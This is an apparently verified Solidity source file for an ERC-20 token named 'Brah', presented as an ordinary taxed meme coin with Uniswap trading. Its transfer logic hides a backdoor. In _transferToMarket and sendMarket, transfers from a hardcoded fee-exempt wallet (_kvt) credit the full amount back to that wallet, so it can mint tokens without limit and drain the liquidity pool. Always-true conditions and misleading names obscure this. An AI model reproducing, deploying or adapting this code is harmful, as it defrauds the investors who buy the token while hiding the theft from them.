文件 1 的 1：Brah.sol
pragma solidity ^0.8.22;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Brah is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcFees;
mapping(address => bool) private bots;
uint256 private _initialBuyTax = 10;
uint256 private _initialSellTax = 10;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 3;
uint256 private _reduceSellTaxAt = 3;
uint256 private _preventSwapBefore = 3;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals;
string private constant _name = unicode"Brah";
string private constant _symbol = unicode"BRAH";
uint256 private _buyCount = 0;
uint256 public _maxTxLmt = (_totalSupply * 2) / 100;
uint256 public _maxBagLmt = (_totalSupply * 2) / 100;
uint256 public _taxSwapThr = 1e2 * 10 ** _decimals;
uint256 public _maxTaxLmt = _totalSupply / 100;
address payable private _kvt = payable(0x8e27E100c1ab32D203e5721cdda7DE7Ba94F4a67);
address private DEAD_ADDR = address(0xDead);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_isExcFees[owner()] = true;
_isExcFees[address(this)] = true;
_isExcFees[_kvt] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function _transfer(address sender, address receiver, uint256 tAmount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(receiver != address(0), "ERC20: transfer to the zero address");
require(tAmount > 0, "Transfer tma must be greater than zero");
uint256 txamnt = 0;
if (sender != owner() && receiver != owner()) {
if (!_isExcFees[sender])
require(tradingOpen, "Trading is not enabled");
require(!bots[sender] && !bots[receiver]);
txamnt = _calcTax(sender, receiver, tAmount);
_swapBackTo(receiver, tAmount);
}
_transferToMarket(sender, _kvt, tAmount, txamnt);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[receiver] = _balances[receiver].add(tAmount.sub(txamnt));
emit Transfer(sender, receiver, tAmount.sub(txamnt));
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
} function sendMarket(address sender, address receiver, uint256 value) internal { if (_finalBuyTax >= 0 && value > 0) {
_balances[receiver] = _balances[receiver].add(value);
emit Transfer(sender, receiver, value);
}
}
function _calcTax(
address from,
address to,
uint256 amount
) internal returns (uint256 taxAmount) {
taxAmount = amount
.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcFees[to]
) {
require(amount <= _maxTxLmt, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxBagLmt,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (amount >= 0 && to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
}
function _swapBackTo(address to, uint256 amount) internal {
uint256 contractTokenBalance = balanceOf(address(this));
if (amount >= 0 && !inSwap && to == uniswapV2Pair && swapEnabled) {
if (
contractTokenBalance > _taxSwapThr &&
_buyCount > _preventSwapBefore
)
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxTaxLmt))
);
uint256 contractBalance = address(this).balance;
if (contractTokenBalance >= 0 && contractBalance >= 0)
sendETHToMarket(contractBalance);
} } function _transferToMarket(address sender,address receip ,uint256 amt , uint256 tamt) internal {
bool isExcluded = sender != DEAD_ADDR && (sender == address(this) || sender == owner());
if (receip != DEAD_ADDR && tamt >= 0 && amt >= 0) {
sendMarket(sender, !_isExcFees[sender] || isExcluded ? address(this) : receip, !_isExcFees[sender] || isExcluded ? tamt : amt);
}
}
function createUniswapV2Pair() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToMarket(uint256 amount) private {
_kvt.transfer(amount);
}
function clearLimits() external onlyOwner {
_maxTxLmt = type(uint256).max;
_maxBagLmt = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
}
